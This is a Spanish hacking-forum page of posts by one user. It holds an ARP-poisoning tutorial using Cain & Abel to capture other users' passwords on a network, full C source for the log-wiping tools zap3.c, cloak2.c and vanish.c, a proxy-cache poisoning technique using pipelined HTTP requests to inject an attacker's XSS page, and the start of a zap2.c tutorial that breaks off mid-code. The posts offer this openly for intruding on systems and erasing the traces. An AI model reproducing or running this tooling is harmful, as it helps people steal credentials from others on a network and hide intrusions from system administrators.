Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Mensajes - ANTRAX

Páginas: 1 ... 243 244 [245] 246
4881
Hacking / Envenenacion ARP en una red con Cain
« en: Febrero 19, 2010, 08:12:40 am »
Envenenacion de red mediante ARP
by adritxikitin

Wenas,

en este tuto enseñare ha sniffar una red, esto nos servira para obtener contraseñas.
Bueno pero antes de ir a la practica os mostrare un poco de teoria, para que sepais mas o menos lo que bais ha hacer  ;)

Normalmente la manera de conectar varios ordenadores en red es mediante Ethernet, un protocolo que trabaja enviando informacion a todos los host de la red mediante paquetes, la cabezera de estos paquetes contienen la direccion de la maquina destino. Solamente la maquina con la direcion que va en la cabezera se supone que puede aceptar el paquete.

En el caso de   redes compartidoas (HUB’S) , todas las tarjetas de red reciben todos los paquetes y descartan los que no son para ellas, esto quiere decir que los paquetes   se envian por toda la red sin importar si la informacion debe ser entregada a esa maquina o a otra, cuando se recibe la informacion la tarjeta la descarta o no, si va dirigida a ella.
En este tipo de redes solamente   hay que sniffar todos los paquetes que pasen por nuestra tarjeta de red.

En el caso de redes conmutadas (switches) , los datos no viajan por toda la red , el trafico entre el usuario cliente y el servidor solo circulara entre ellos , sin que las demas Tarjetas se enteren.
Osea vendria hacer algo asi:

                Resto de la Red (no participa en la comunicacion)

Máquina                       
(Cliente) ——– Router——- Internet——–Servidor

Para poder ver el trafico que circula entre ellos debemos posicionarnos como “Hombre en el Medio” de modo que el trafico corra asi:

                                                     
Máquina
(Cliente) —–Máquina (sniffer) —- Router —-Internet—–Servidor

Para lograr esto debemos envenenar las tablas arp de la victima y del router.

Bueno ya sabiendo esto pasaremos a la practica.


Atacante: Esos seremos nosotros.
Victima: Todos los usuarios que inicien sesion en qualquier servicio.
Metodo: Envenenamiento ARP + Sniffing
Herramientas: Cain & Abel --- <a href="http://www.oxid.it/cain.html">Descargar</a>


Antes que nada nos descargaremos el Cain y acto seguido lo instalaremos en nuestro equipo atacante, una vez instalado del todo nos pedira que instalemos el WinCap, lo hacemos ya que nos servira para la captura de paquetes.

Una vez echo todo esto ejecutamos el Cain.

Bamos para la pestaña Sniffer y lo activamos haciendo click en el boton indicado en la imagen siguiente, una vez activado hacemos clic en el signo + , vemos que nos sale una ventana  la cual nos permitira escánear   todo el Rango de Ips de nuestra red local en busca de los PC conectados.

Damos click en OK y empezara es scan.
Una vez finalizado el scan nos saldra una lista de Ips conectadas.

Ahora vamos a proceder a realizar el envenenamiento ARP, en la   Pestana Sniffer , en la subpestana APR (abajo) , presionamos el botom   +   y aparecera un cuadro donde podremos seleccionar los ordenadores que queramos envenenar,como nosotros queremos sniffar toda la red, debemos seleccionar la ip del Router ya que contiene todas la demas Ips.

Ahora solo nos queda activar el envenenamiento ARP , para eso hacemos click en el icono indicado, y listo tendremos toda la red envenenada de modo que el trafico que pase por nuestra red sera captado por nuestra maquina .

Listo , solo nos queda esperar a que algun usuario inicie sesion en algun   servidor, cuando esto ocurra el Cain capturara su pass y user , y   generara una especie de log en la subpestaña Password.

Y listo! ya lo tenemos...!

Una vez que la conseguimos podemos usar algun programa de control remoto como el   Dameware o compartirle el C con el comando Net Use.

4882
Hacking / Re:Borrando Huellas [Zappering o Cloakering]
« en: Febrero 19, 2010, 08:11:21 am »
Aqui mas zappers

zap3.c
Código: [Seleccionar]
/*########################################################################
*####  Zap3.c cleans WTMP, UTMP, lastlog, messages, secure, ##############
*####  xferlog, httpd.access_log, httpd.error_log.          ##############
*####  Check your log file and edit the source accordingly. ##############
 ####      Tested in Mandrake 7.2 and 8.0                   ##############
*#########################################################################
*#### This program is for educational purposes only         ##############
*####     I'm not responsible any  damages of this program  ##############
*####            Use it with your own risk                  ##############
*#########################################################################
*####  I change the user based cleaning method              ############## 
*####    to host based method. Also zap2.c cleans           ##############
*####        last entry of wtmp file,i change               ##############
*####           this to clean all entries.                  ##############
*#########################################################################
       
               Copyright (c) darkloop .  All rights reserved. 
        This software is licensed pursuant to the GNU General Public License
        version 2 or later versions [or GNU Lesser General Public License],
a copy of which may be viewed at www.gnu.org/copyleft/gpl.html.

*#########################################################################
*####   Please inform me about your comments.               ##############
*####   I'm new to c programmin so feel free to flame :)    ##############
*####            [email protected]                     ############## 
*####            www.solitude2000.f2s.com                   ##############
*####              15.10.2001                             ##############
*#########################################################################
 
           



*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#define WTMP_NAME       "/var/log/wtmp"     
#define UTMP_NAME       "/var/run/utmp"     
#define LASTLOG_NAME    "/var/log/lastlog"
#define MESSAGES        "/var/log/messages"
#define SECURE          "/var/log/secure"
#define SYSLOG          "/var/log/syslog"
#define XFERLOG         "/var/log/xferlog"
#define AUTH            "/var/log/auth.log"
#define HTTPDA          "/var/log/httpd/access_log"
#define HTTPDE          "/var/log/httpd/error_log"         
#define MAX           1024*5120
#define MIN           1024             
void clean_logs(char *host,char *fake);    
void clean_utmp(char *host,char *fake);
void clean_wtmp(char *host,char *fake);
void clean_lastlog(char *host,char *fake);
int pos(char *source,char *pattern);
void str_replace(char *source,char *pattern,char *replace);

main(int argc,char **argv)
{
    time_t t1,t2;
    if (argc<2) {
           printf("missing argument\n");
     printf("usage :./zap <ip>\n");
           exit(1);
    } else {
     time(&t1);
             clean_utmp(argv[1],argv[2]);
             clean_wtmp(argv[1],argv[2]);
             clean_lastlog(argv[1],argv[2]);
     clean_logs(argv[1],argv[2]);
     time(&t2);
     printf("the process time is %d ms\n",t2-t1);
    }
}

void clean_utmp(char *host,char *fake)
{
     int f;
     struct utmp utmp_ent;
     if ((f=open(UTMP_NAME,O_RDWR))<0) {
     perror("open");
     close(f);
        }
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
       if(fake) {
       memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
       }else {
                 memset(&utmp_ent,0,sizeof( utmp_ent ));
}
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
     printf("\tcleaning utmp file finished\n\t");
 
}
 
void clean_wtmp(char *host,char *fake)
{
    struct utmp utmp_ent;
    int f;
        if ((f=open(WTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
         }     
     while(read (f, &utmp_ent, sizeof (struct utmp))>0) {
          if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
  if(fake) {
  memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
  }else {
               memset(&utmp_ent,0,sizeof(struct utmp ));
  }
               lseek(f,-(sizeof(struct utmp)),SEEK_CUR);
               write (f, &utmp_ent, sizeof( utmp_ent ));
            }
        }
     close(f);
     printf("cleaning wtmp finished\n\t");
}
void clean_lastlog(char *host,char *fake)
{   
    int f;
    struct lastlog newll;
        if ((f=open(LASTLOG_NAME, O_RDWR)) < 0) {
perror("open");
close(f);
         } else {
               while(read(f,&newll,sizeof(struct lastlog)) > 0 ) {
                 if(!strncmp(newll.ll_host,host,strlen(host))) {
if(fake) {
memcpy(newll.ll_host,fake,sizeof(newll.ll_host));
}else {
                   memset(&newll,0,sizeof( newll ));
}
                   lseek(f, -( sizeof (struct lastlog)),SEEK_CUR);
                   write(f,&newll, sizeof( newll ));
               }
          }
        close(f);
      }
    printf("cleaning lastlog finished\n\t");
}
void clean_logs(char *host,char *fake)
{
int i;
char buffer[MIN],buff[MAX];
FILE *fin,*fout;
char *logs[] = {MESSAGES, SECURE,SYSLOG, XFERLOG, AUTH, HTTPDA, HTTPDE} ;
        char *modlogs[] = {"modMESSAGES", "modSECURE","modSYSLOG", "modXFERLOG",
"modAUTH","modHTTPDA","modHTTPDE"} ;

      i=0;
while(i<7) {
printf("cleaning %s\n\t",logs[i]);
                strcpy(buff,"");
if((fin=fopen(logs[i],"r"))==NULL
|| (fout=fopen(modlogs[i],"w"))==NULL) {
perror("fopen");
fclose(fin);
        i++;
}
       
while(fgets(buffer,MIN,fin) !=NULL) {
   if(fake) {
                      if (strstr(buffer,host) ) {
                 str_replace(buffer,host,fake);
                 fputs(buffer,fout);
                                      }else
      fputs(buffer,fout);
   }else {
   if(!strstr(buffer,host))
   fputs(buffer,fout);
   }
}
    fclose(fin);
    fclose(fout);
            if((fout=fopen(logs[i],"w"))==NULL
                   || (fin=fopen(modlogs[i],"r"))==NULL) {
    perror("fopen");
    fclose(fout);
    }
    while((fgets(buffer,MAX,fin)) !=NULL) {
    fputs(buffer,fout);
    }
            fclose(fin);           
            fclose(fout);
    unlink(modlogs[i]);
            i++;
}
printf("cleaning logs file finished\n\t");
}
void str_replace(char *source,char *pattern,char *replace)
{
      char buffer[MIN];
      char part[MIN];
      int n;
      while((n=pos(source,pattern))>=0) {
                  strcpy(buffer,&source[n+strlen(pattern)]);
                  strcpy(&source[n],replace);
                  strncpy(part,source,n+strlen(replace));
                  part[n+strlen(replace)]='\0';
                  strcat(part,buffer);
                  strcpy(source,part);
                  n=pos(source,pattern);
             } 
}
int pos(char *source,char *pattern)
{
    char substring[MIN];
    int i=0,found=0,position;
    int pattern_len=strlen(pattern);
    while(!found && i<= strlen(source) - pattern_len) {
         strncpy(substring,&source[i],pattern_len);
         substring[pattern_len]='\0';
         if(strcmp(substring,pattern)==0)
              found=1;
         else
             ++i;
        }
     if(found)
           position=i;
      else
           position=-1;
      return(position);
}

------------------------------------------------------------------------------------------------------

cloak2.c     < Muy bueno y famoso

Código: [Seleccionar]
/*
 *      C L O A K
 *
 *      Wrap yourself in a cloak of darkness (heh heh heh).
 *
 *      Michael S. Baldwin,  Matthew Diaz  1982
 *
 *      Marcus J. Ranum - 1983 - complete re-write and munging
 *      added more options, and all kinds of evil - including the
 *      ability to vanish from wtmp and acct as well as utmp. Added more
 *      error checking and useful command syntax. Now you can attribute
 *      all *YOUR* CPU usage to others when playing hack !!!
 *
 */
 
 
#include <stdio.h>
#include <sys/types.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <sys/file.h>
#include <sys/acct.h>
 
/* set these guys. If you're sysV a port should be easy */
#define UTMP    "/etc/utmp"
#define WTMP    "/usr/adm/wtmp"
#define LAST    "/usr/adm/lastlog"
#define ACCT    "/usr/adm/acct"
 
 
main(ac,av)
int     ac;
char    *av[];
{
        char    *tp     = "";
        char    *un     = "";
        char    *hn     = "";
        char    *pn     = "";
        long    newt    = 0L;
        int     wflg    = 0;
        int     aflg    = 0;
        int     refs    = 1;
        int     x;              /* klunch */
        char    *p;
        extern  char    *index();
        extern  time_t  time();
 
        for(x = 1; x < ac; x++) {
                if(av[x][0] == '-')
                        switch(av[x][1]) {
case 'u':       /* username to be :-) */
                                        if((x + 1) < ac)
                                                un = av[++x];
                                        break;
 
      case 't':       /* tty slot to be on :-) */
                                        if((x + 1) < ac)
                                                tp = av[++x];
                                        break;
 
      case 'h':       /* host name to be on :-) */
                                        if((x + 1) < ac)
                                                hn = av[++x];
                                        break;
 
      case 'r':       /* # of refs to zap :-) */
                                        if((x + 1) < ac)
                                                refs = atoi(av[++x]);
                                        break;
 
      case 's':
                                        execl("/bin/sh","sh",0);
                                        perror("exec");
                                        exit(1);
 
      case 'w':       /* vanish from wtmp, too */
                                        wflg++;
                                        break;
 
      case 'a':       /* vanish from acct, too */
                                        aflg++;
                                        break;
 
      case 'p':       /* specific program for acct */
                                        if((x + 1) < ac)
                                                pn = av[++x];
                                        break;
 
      case 'l':       /* log on time */
                                        if((x + 1) >= ac)
                                                break;
                                        newt = atoi(p = av[++x]);
                                        if(p = index(p,':'))  {
                                                newt *= 60;
                                                newt += ((newt > 0) ? 1 : -1) *
atoi(++p);
      }
                                        newt *= 60;
                                        newt += time((long *)0L);
                                        break;
 
      default:
                                        exit(usage());
      }
 
      }
 
        if(wflg && wtmpzap(tp,un,hn,newt,refs))
                perror(av[0]);
 
        if(aflg && acctzap(un,pn))
                perror(av[0]);
 
        if(utmpzap(tp,un,hn,newt)) {
                perror(av[0]);
                exit(1);
      }
 
        if(lastzap(tp,un,hn,newt)) {
                perror(av[0]);
                exit(1);
      }
 
        exit(0);
      }
 
utmpzap(tt,un,hn,tim)
char    *tt;
char    *un;
char    *hn;
long    tim;
{
        int     fd;
        int     slot;
        struct  utmp    ubuf;
        extern  time_t  time();
        extern  char    *strncpy();
        extern  long    lseek();
 
        if((slot = ttyslot()) == 0) {
                (void)fprintf(stderr,"No tty slot");
                return(-1);
      }
 
        if((fd = open(UTMP,O_RDWR)) == -1 )
                return(-1);
 
        if(lseek(fd,(long)(slot * sizeof(ubuf)),0) < 0) {
                (void)close(fd);
                return(-1);
      }
 
        if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
                (void)close(fd);
                return(-1);
      }
 
        if(tim)
                ubuf.ut_time = tim;
        else
                ubuf.ut_time = time((long *)0L);
 
        (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
 
        if(!tt[0] == '\0')
                (void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
                (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
 
        if(lseek(fd,(long)(-sizeof(ubuf)), 1) < 0) {
                (void)close(fd);
                return(-1);
      }
 
        if(write(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
                (void)close(fd);
                return(-1);
      }
 
        return(close(fd));
      }
 
wtmpzap(tt,un,hn,tim,refs)
char    *tt;
char    *un;
char    *hn;
long    tim;
int     refs;
{
        int     fd;
        char    *p;
        char    tbuf[40];
        struct  utmp    ubuf;
        extern  char    *strncpy();
        extern  char    *strcpy();
        extern  char    *rindex();
        extern  char    *ttyname();
        extern  long    lseek();
        extern  time_t  time();
 
        if((p = ttyname(0)) != NULL)
                (void)strcpy(tbuf,p);
        else
                return(0);
 
        /* figure out our device name */
        p = rindex(tbuf,'/');
        if(p == NULL)
                p = tbuf;
        else
                p++;
 
 
        if((fd = open(WTMP,O_RDWR)) == -1 )
                return(-1);
 
        if(lseek(fd,0L,2) < 0)
                return(-1);
 
 
        /* this is gross, but I haven't a better idea how it can */
        /* be done - so who cares ? */
 
        while(refs) {
                if((lseek(fd,(long)(-sizeof(ubuf)),1)) < 0) {
                        (void)close(fd);
                        return(0);
      }
 
                if(read(fd,(char *)&ubuf,sizeof(ubuf)) != sizeof(ubuf)) {
                        (void)close(fd);
                        return(0);
      }
                if(!strcmp(p,ubuf.ut_line)) {
                        if(tim)
                                ubuf.ut_time = tim;
                        else
                                ubuf.ut_time = time((long *)0L);
 
                        (void)strncpy(ubuf.ut_name,un,sizeof(ubuf.ut_name));
                        (void)strncpy(ubuf.ut_host,hn,sizeof(ubuf.ut_host));
 
                        if(!tt[0] == '\0')
 
(void)strncpy(ubuf.ut_line,tt,sizeof(ubuf.ut_line));
 
                        if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
                                (void)close(fd);
                                return(0);
      }
 
                        if(write(fd,(char *)&ubuf,sizeof(ubuf)) !=
sizeof(ubuf)){
                                (void)close(fd);
                                return(0);
      }
 
                        if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
                                (void)close(fd);
                                return(0);
      }
 
                        refs--;
   }
 
                if(lseek(fd,(long)(-sizeof(ubuf)),1) < 0) {
                        (void)close(fd);
                        return(0);
   }
 
   }
 
        return(close(fd));
   }
 
acctzap(un,pn)
char    *un;
char    *pn;
{
        int     fd;
        int     faku =0;
        int     realu;
        struct  acct    actbuf;
        struct  passwd  *pwt;
        extern  struct  passwd  *getpwnam();
 
        if((fd = open(ACCT,O_RDWR)) == -1 )
                return(-1);
 
        realu = getuid();
 
        if(un[0] != '\0' && ((pwt = getpwnam(un)) != NULL))
                faku = pwt->pw_uid;
 
        while(1) {
                if(read(fd,(char *)&actbuf,sizeof(actbuf)) != sizeof(actbuf)) {
                        (void)close(fd);
                        return(0);
      }
 
                if(realu == actbuf.ac_uid) {
 
                        /* only zap a specific program to user */
                        if(pn[0] != '\0' && strcmp(pn,actbuf.ac_comm))
                                continue;
 
                        actbuf.ac_uid = faku;
                        actbuf.ac_flag &= ~ASU;
                        if(lseek(fd,(long)(-sizeof(actbuf)),1) < 0) {
                                (void)close(fd);
                                return(0);
      }
 
                        if(write(fd,(char *)&actbuf,sizeof(actbuf)) !=
sizeof(actbuf)){
                                (void)close(fd);
                                return(0);
      }
      }
      }
      }
 
usage()
{
#ifdef USAGE
        (void)fprintf(stderr,"usage: cloak <options>\n");
        (void)fprintf(stderr,"options are:\t-l <+->hh:mm (login time)\n");
        (void)fprintf(stderr,"\t\t-u username\t\t\t-t ttyname\n");
        (void)fprintf(stderr,"\t\t-w (clobber wtmp)\t\t-r #of refs to
clobber\n");
        (void)fprintf(stderr,"\t\t-h host\t\t-a (clobber accounting)\n");
        (void)fprintf(stderr,"\t\t-p program (attribute only program to
acct)\n");
        (void)fprintf(stderr,"(no args causes a simple vanishing act)\n");
#endif
        return(1);
      }
 
lastzap(tt,un,hn,tim)
char    *tt;
char    *un;
char    *hn;
long    tim;
{
        int     fd;
        int     uid;
        struct  lastlog lbuf;
        extern  time_t  time();
        extern  char    *strncpy();
        extern  long    lseek();
 
        uid = getuid();
 
        if((fd = open(LAST,O_RDWR)) == -1 )
                return(-1);
 
        if(lseek(fd,(long)(uid * sizeof(lbuf)),0) < 0) {
                (void)close(fd);
                return(-1);
      }
 
        if(read(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
                (void)close(fd);
                return(-1);
      }
 
        if(tim)
                lbuf.ll_time = tim;
        else
                lbuf.ll_time = time((long *)0L);
 
        if(!tt[0] == '\0')
                (void)strncpy(lbuf.ll_line,tt,sizeof(lbuf.ll_line));
        (void)strncpy(lbuf.ll_host,hn,sizeof(lbuf.ll_host));
 
        if(lseek(fd,(long)(-sizeof(lbuf)), 1) < 0) {
                (void)close(fd);
                return(-1);
      }
 
        if(write(fd,(char *)&lbuf,sizeof(lbuf)) != sizeof(lbuf)) {
                (void)close(fd);
                return(-1);
      }
 
        return(close(fd));
      }

--------------------------------------------------------------------------------------------------

vanish.c

Código: [Seleccionar]
/***************************************************************************
                          vanish.c  -  description                           
                            -------------------                           
                  begin                : Wed Feb 2 2000                       
                  copyright            : (C) 2000 by Neo the Hacker     
                  email                : --------------------------     
                             
***************************************************************************/

/***************************************************************************
* Vanish.c cleans WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, *
* warn, mail, httpd.access_log, httpd.error_log. Use your brain, check your*
* logs and edit accordingly !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*
****************************************************************************
* Warning!! This programm is for educational purpouse only! I am not       *
* responsible to anything you do with this !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*
****************************************************************************
* Code written for Unix like systems! Tested on SuSE-Linux 6.2 !           *
* Compile like: gcc vanish.c -o vanish                                     *
***************************************************************************/


#include <stdio.h>
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>
#include <pwd.h>

#define UTMP            "/var/run/utmp"
#define WTMP            "/var/log/wtmp"
#define LASTLOG         "/var/log/lastlog"
#define MESSAGES        "/var/log/messages"
#define SECURE          "/var/log/secure"
#define XFERLOG         "/var/log/xferlog"
#define MAILLOG         "/var/log/maillog"     
#define WARN            "/var/log/warn"
#define MAIL            "/var/log/mail"
#define HTTPDA          "/var/log/httpd.access_log"
#define HTTPDE          "/var/log/httpd.error_log"
#define MAXBUFF 8*1024



int main(int argc, char *argv[])
{
struct utmp ut ;
struct lastlog ll ;
struct passwd *pass ;
int i, size, fin, fout ;
FILE *pfile;
FILE *pfile2;
char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, WARN, MAIL, HTTPDA,HTTPDE} ;
char *newlogs[] = {"messages.hm", "secure.hm","xferlog.hm","maillog.hm","warn.hm", "mail.hm", "httpda.hm", "httpde.hm"} ; 
char buffer[MAXBUFF] ;

char user[10] ;
char host[100] ;
char host_ip[17] ;


/*Usage of the programm*/
if (argc!=4)
{
   printf ("\n\n");
   fprintf(stderr, "Vanish by Neo the Hacker\n");
   fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n",argv[0]) ;
   exit () ;
}

/***************************
* OK Let's start with UTMP *
***************************/
size = sizeof(ut) ;
strcpy (user, argv[1]) ;
fin = open (UTMP, O_RDWR) ;
if (fin < 0)
{
fprintf(stderr, "\nFucking shit!! Utmp permission denied.Getting outta here!!\n"); 
close (fin) ;
exit();
}
else
{
while (read (fin, &ut, size) == size) {
       if (!strncmp(ut.ut_user, user, strlen(user))) {
                   memset(&ut, 0, size);
                   lseek(fin, -1*size, SEEK_CUR);
                   write (fin, &ut, size);
               }
        }
        close (fin);
        printf("\nutmp target processed.");
}
/***************************
* OK Let's go on with WTMP *
***************************/
strcpy (host, argv[2]) ;
  strcpy(host_ip, argv[3]) ;

fin = open(WTMP, O_RDONLY) ;
if (fin < 0) {
fprintf(stderr, "\nFucking shit!! Wtmp permission denied.Getting outta here.\n") ;                              
   close (fin) ; exit () ;
}
fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;
if (fout < 0) {
fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ;
close (fout) ;
exit () ;
}
else {
while (read (fin, &ut, size) == size) {
if ( (!strcmp(ut.ut_user, user)) || (!strncmp(ut.ut_host, host, strlen(host))) ) {
  /* let it go into oblivion */  ;
}
        else write (fout, &ut, size) ; }
close (fin) ;
close (fout) ;
if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&
    (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) {
fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ;
}
                system("/bin/chmod 644 /var/log/wtmp") ;
printf("\nwtmp target processed.") ;
}
/***************************
* OK Let's look at LASTLOG *
***************************/
size = sizeof(ll) ;
fin = open(LASTLOG, O_RDWR) ;
if (fin < 0) {
fprintf(stderr, "\nFucking shit!! Lastlog permission denied.Getting outta here.\n") ;
                close (fin) ;
exit () ;
}
else {
pass = getpwnam(user) ;
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
read(fin, &ll, size) ;
ll.ll_time = 0 ;
strncpy (ll.ll_line, "      ", 5) ;
strcpy (ll.ll_host, " ") ;
lseek(fin, size*pass->pw_uid, SEEK_SET) ;
write(fin, &ll, size) ;
close (fin) ;
printf("\nlastlog target processed.\n") ;
}

/**************************
* OK moving to /var ....  *
**************************/
i=0;
while (i<8) {
printf("Processing %s\t", varlogs[i]) ;
pfile = fopen (varlogs[i],"r");
if (!pfile)
{
   printf("Couldn't open %s\n\n", varlogs[i]);
   i++;
   continue ;
}


pfile2 = fopen (newlogs[i],"w");
if (!pfile2)
{
  printf("Couldn't create backup file! You have to have write permission to the folder!! %s \n\n", newlogs[i]);   
  i++;   
  continue;
}
else {
      while (fgets(buffer, MAXBUFF, pfile) != NULL) {
      if ((!strstr(buffer, user)) && (!strstr(buffer, host))&&(!strstr(buffer, host_ip)))  {
fputs(buffer,pfile2) ;  } }
}
fclose (pfile);
fclose (pfile2);
printf ("                   DONE.\n");
i++;
}
printf ("\n\n");
system ("mv messages.hm /var/log/messages");
system ("mv secure.hm /var/log/secure");
system ("mv xferlog.hm /var/log/xferlog");
system ("mv maillog.hm /var/log/maillog");
system ("mv warn.hm /var/log/warn");
system ("mv mail.hm /var/log/mail");
system ("mv httpda.hm /var/log/httpd.access_log");
system ("mv httpde.hm /var/log/httpd.error_log");
printf ("\n\n");
printf ("V_A_N_I_S_H_E_D_!\n");
printf ("Your tracks have been removed\n");
printf ("Exiting programm !!\n\n");
exit();
}

4883
El Problema de la implementacion del HTTP 1.1 en Software de Red

Este paper estara explicado con una estructura vulnerable de un proxy cache comercial cuyo nombre no mencionare ya que no es relativo.

Directivas HTTP 1.0 y HTTP 1.1

HTTP/1.0
Esta version de HTTP integra unicamente 3 metodos:

HEAD: Solicitar únicamente Headers HTTP.
GET: Solicitar Headers y el contenido de la web (HTML).
POST: Remite Datos que no se muestran en la URL.

HTTP/1.1

Integra además de los métodos de HTTP 1.0 los siguientes:
OPTIONS
PUT
DELETE
TRACE
CONNECT
SEARCH
entre otros..

Ademas permite concatenar 2 consultas HTTP:

Citar
GET / HTTP/1.1
Host: www.google.com

GET / HTTP/1.1
Host: www.google.com


2 consulas HTTP continuas daran como resultado, 2 respuestas http (a cada una) en la misma respuesta (misma conexion).


Proxy caché: Servidor con memoria que puede almacenar y actualizar las páginas Web más consultadas por los internautas disminuyendo así el tiempo de acceso a dichas páginas, que también son consultables en tiempo diferido disminuyendo de esta manera el tráfico en la red.

Es decir haciendo un diagrama:

Cliente -> gateway/proxy cache y si no tiene los datos -> servidor.
Servidor -> gateway/Proxy cache -> Cliente.


El proxy cache en esta instancia almacena una copia de la pagina solicitada, para consultas futuras a dicha pagina.
Time To Live (TTL): Tiempo de vida se refiere al tiempo en que un dato es valido, es decir algo como en los DNS:

DNS Primario actualiza a -> Server DNS Secundario.

Server DNS secundario almacena los datos del primario y los mantiene en su memoria un tiempo para consultas de clientes, pero cuando pasa el TTL, solicita nuevos datos al primario para estar actualizado en los registros.
Es similar en los proxys cache.

Cliente Solicita el index.htm (GET /index.htm HTTP/1.1) -> Proxy Cache (GET /index.htm HTTP/1.1)-> Servidor.
Servidor envia el index.htm (El HTML)-> Proxy Cache Guarda una copia y la envia (HTML)-> Cliente ya tiene en su navegador el index.htm


Metodología del Envenenamiento:

Cliente Envia 2 consultas HTTP:

Citar
GET / HTTP/1.1
Host: victima.com

GET /xss.htm HTTP/1.1
Host: atacante.com


El Proxy Cache leera toda la consulta pero solo reconocerá 1 como la consultada "/". Conecta a Servidor y envia las 2 consultas como 1 sola.

Citar
GET / HTTP/1.1
Host: victima.com

GET /xss.htm HTTP/1.1
Host: atacante.com


Servidor tiene como virtual host a victima.com y a atacante.com, y reconoce las 2 consultas pero sigue la directiva de HTTP/1.1 y envia los resultados de las 2 consultas HTTP en la misma conexion (Envia los respectivos headers y los respectivos códigos de / y de xss.htm).

Proxy Cache guarda los 2 códigos y el header como si fuera solo la pagina / y envia los 2 codigos al atacante o cliente 1.

Cliente 2, consulta únicamente a / de victima.com:

Citar
GET / HTTP/1.1
Host: victima.com


Proxy cache tiene el archivo en su cache asi que lo envia, pero el registro contiene la pagina solicitada y debajo de ella tiene concatenado el código de xss.htm.

Conclusión: Cache Envenenado!.

By Xianur0!.[/b]

4884
Hacking / Borrando Huellas [Zappering o Cloakering]
« en: Febrero 19, 2010, 07:59:09 am »
Esto lo vamos a hacer con un zapper , un zapper es un programa que al ejecutarlo en la maquina remota limpia el log que queda guandado con todo lo que hicimos en la maquina victima.

Si no limpias la mugre que dejas estas cagado, ya ke si el root revisa los logs vera tu IP y todo lo ke has hecho. Si te agarran despues no me digas que no avise.

Pero donde esta el probema de esto, y bueno les comento que el problema de esto es que para borrar lo que hiciste tenes que ser roort.

Los logs mas importantes son:

_ UTMP - Indika quien esta konectado en cada momento.

_ WTMP - Indica todas las entradas y salidas de la maquina victima indicando el tty y el host.

_ LASTLOG - Guarda un log indicando el momento exacto en el ce se konekto el usuario por ultima vez.

_ ACCT - Guarda todos los comandos ejekutados por los usuarios (aunke sin argumentos) y como los ponemos.

Me llevo casi 3 horas averiguar esto asi que me imagino que algun dia lo van a utilizar, si es que entran en algun ordenador alguna vez.

Estos logs estan ubicados en los siguientes directorios.

_ UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

_ WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

_ LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log

_ ACCT : /var/adm/acct (en algunos sistemas se puede llamar pacct)

Esto varia de sistema en sistema.

Los zappers lo que hacen la mayoria es borrar el log acct , de esta forma estamos salvados de que nos agarren ya que sabran que estubimos dentro pero no pueden saber que hicimos. Por eso es bueno acompañarlo con algun metodo de anonimato que ya sabran.

Lo que voy a enseñar a usar es el zap2 un zapper que es muy fasil de detectar si es que se quiere, lo que hace este no borrar los logs sino dejarlos en 0 , y tampoco borra el acct pero tambien lo deja en 0 asi que no tendremos problemas graves, siempre y cuando no se manden una cagada grosa en la maquina y le den ganas al admin de saber quien fue. Le va a costar pero no va a ser tan fasil como dejarle el numero de documento en el log.

En este tuto vamos a matar 2 pajaros de un tiro. Uno es aprender a compilar exploits y otro aprender a ejecutarlos. Obvio que este es de uso local, es decir hay que ejecutarlo desde la shell del sistema que queremos limpiar.

Pasamos a crear el archivo zap2.c de esta forma.

[[email protected] phantomlord]# cat > zap2.c

------------------------copiamos el code-------------------------

#include <sys/types.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/file.h>

#include <fcntl.h>

#include <utmp.h>

#include <pwd.h>

#include <lastlog.h>

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

